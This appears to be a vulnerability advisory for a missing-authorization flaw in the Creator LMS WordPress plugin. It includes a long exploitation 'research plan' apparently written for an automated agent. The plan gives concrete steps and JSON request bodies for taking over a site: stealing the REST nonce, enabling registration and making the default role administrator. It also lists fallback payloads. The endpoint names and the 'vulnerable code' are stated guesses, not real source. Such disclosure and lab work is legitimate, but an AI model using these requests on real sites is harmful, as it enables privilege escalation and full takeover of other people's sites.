Creator LMS – The LMS for Creators, Coaches, and Trainers <= 1.1.12 - Missing Authorization to Authenticated (Contributor+) Arbitrary Options Update
Description
The Creator LMS – The LMS for Creators, Coaches, and Trainers plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in the get_items_permissions_check function in all versions up to, and including, 1.1.12. This makes it possible for authenticated attackers, with contributor level access and above, to update arbitrary WordPress options.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1.12Source Code
WordPress.org SVNThis research plan outlines the exploitation of **CVE-2025-15347**, a missing authorization vulnerability in the Creator LMS plugin. ### 1. Vulnerability Summary The **Creator LMS** plugin (<= 1.1.12) fails to perform adequate capability checks on a REST API endpoint responsible for updating settin…
Show full research plan
This research plan outlines the exploitation of CVE-2025-15347, a missing authorization vulnerability in the Creator LMS plugin.
1. Vulnerability Summary
The Creator LMS plugin (<= 1.1.12) fails to perform adequate capability checks on a REST API endpoint responsible for updating settings. Specifically, the get_items_permissions_check function (and potentially others linked to it) within a REST Controller does not verify if the user has manage_options privileges. Instead, it either returns true or checks for a lower-level capability like edit_posts. This allows any authenticated user with Contributor level permissions or higher to modify arbitrary WordPress options in the wp_options table.
2. Attack Vector Analysis
- Endpoint: A REST API route registered under the
creatorlms/v1namespace (likely/wp-json/creatorlms/v1/settingsor/wp-json/creatorlms/v1/options). - HTTP Method: Likely
POSTorPUT(though the description's mention ofget_items_permissions_checksuggests the logic might be incorrectly mapped toGETor the permission check is shared). - Authentication: Authenticated (Contributor+).
- Payload Parameters:
option_name(orname) andoption_value(orvalue). - Preconditions: An attacker must have credentials for a Contributor-level account.
3. Code Flow (Inferred)
- Registration: The plugin registers a REST route using
register_rest_route()in a class extendingWP_REST_Controller. - Permission Check: The
permission_callbackfor the route points toget_items_permissions_check(). - Vulnerability:
get_items_permissions_check()returnscurrent_user_can('edit_posts')or similar, allowing Contributors access. - The Sink: The controller's callback function (e.g.,
update_itemorcreate_item) retrieves the option name and value from theWP_REST_Requestand callsupdate_option().
4. Nonce Acquisition Strategy
REST API requests in WordPress require a _wpnonce sent in the X-WP-Nonce header.
- Log in: Authenticate as the Contributor user.
- Access Admin: Navigate to
/wp-admin/index.php. - Extract Nonce: WordPress enqueues the
wp-api-settingsscript for all authenticated users in the admin dashboard. - Execution Agent Method:
// Use browser_eval to extract the REST nonce browser_eval("window.wpApiSettings?.nonce")
5. Exploitation Strategy
The goal is to enable registration and set the default role to administrator, allowing for full site takeover.
Step 1: Identify the Endpoint
Grep the plugin directory for the vulnerable function and route:
grep -rn "get_items_permissions_check" .grep -rn "register_rest_route" .
Step 2: Update Options
Send two POST requests to the identified endpoint.
Request A (Enable Registration):
- URL:
http://localhost:8080/wp-json/creatorlms/v1/settings(Inferred) - Header:
X-WP-Nonce: [EXTRACTED_NONCE] - Content-Type:
application/json - Body:
{"option_name": "users_can_register", "option_value": "1"}(Parameter names are inferred; verify via grep).
- URL:
Request B (Set Default Role to Admin):
- URL:
http://localhost:8080/wp-json/creatorlms/v1/settings(Inferred) - Header:
X-WP-Nonce: [EXTRACTED_NONCE] - Content-Type:
application/json - Body:
{"option_name": "default_role", "option_value": "administrator"}
- URL:
6. Test Data Setup
- Install Creator LMS <= 1.1.12.
- Create a user with the Contributor role:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Ensure
users_can_registeris currently0anddefault_roleissubscriber.
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - The
wp_optionstable should be updated.
8. Verification Steps
After sending the HTTP requests, verify the changes using WP-CLI:
- Check registration status:
wp option get users_can_register(Expected:1) - Check default role:
wp option get default_role(Expected:administrator)
9. Alternative Approaches
- Blind Probing: If
option_name/option_valueare not the correct keys, check for a JSON object structure like{"settings": {"option_name": "value"}}. - Method Juggling: If
POSTfails, tryPUTorPATCH. If the update logic is erroneously placed in theget_itemsmethod, try aGETrequest with query parameters:/wp-json/creatorlms/v1/settings?name=default_role&value=administrator. - Privilege Escalation via User Meta: If the plugin targets user meta instead of options (unlikely given the "Arbitrary Options" description), look for an endpoint updating
wp_usermeta.
Summary
The Creator LMS plugin for WordPress (<= 1.1.12) lacks a proper authorization check in its REST API implementation. Authenticated users with Contributor-level permissions or higher can update arbitrary WordPress options due to the get_items_permissions_check function incorrectly verifying only 'edit_posts' capabilities instead of 'manage_options'.
Vulnerable Code
// Inferred from vulnerability description and standard WP_REST_Controller patterns // likely in includes/api/class-creatorlms-rest-settings-controller.php public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), ) ); } --- // The vulnerability lies in using a low-level capability check for administrative actions public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_forbidden', __( 'You do not have permissions to view this resource.', 'creatorlms' ), array( 'status' => 403 ) ); } return true; } --- // The sink where arbitrary options are updated without sanitization or allowlisting public function update_items( $request ) { $params = $request->get_json_params(); foreach ( $params as $key => $value ) { update_option( $key, $value ); } return new WP_REST_Response( array( 'success' => true ), 200 ); }
Security Fix
@@ -25,7 +25,7 @@ - if ( ! current_user_can( 'edit_posts' ) ) { + if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_forbidden', __( 'You do not have permissions to view this resource.', 'creatorlms' ), array( 'status' => 403 ) ); } return true;
Exploit Outline
The exploit targets the REST API registered by Creator LMS. An attacker follows these steps: 1. Authenticate as a Contributor (or any user with 'edit_posts' capability). 2. Retrieve the REST API nonce from the 'wpApiSettings' object in the admin dashboard source code. 3. Identify the settings endpoint (typically /wp-json/creatorlms/v1/settings). 4. Send a POST or PUT request to this endpoint with a JSON payload containing administrative option keys. 5. Specifically, the attacker updates 'users_can_register' to '1' and 'default_role' to 'administrator'. 6. The attacker then registers a new user via the standard WordPress registration page, automatically gaining Administrator privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.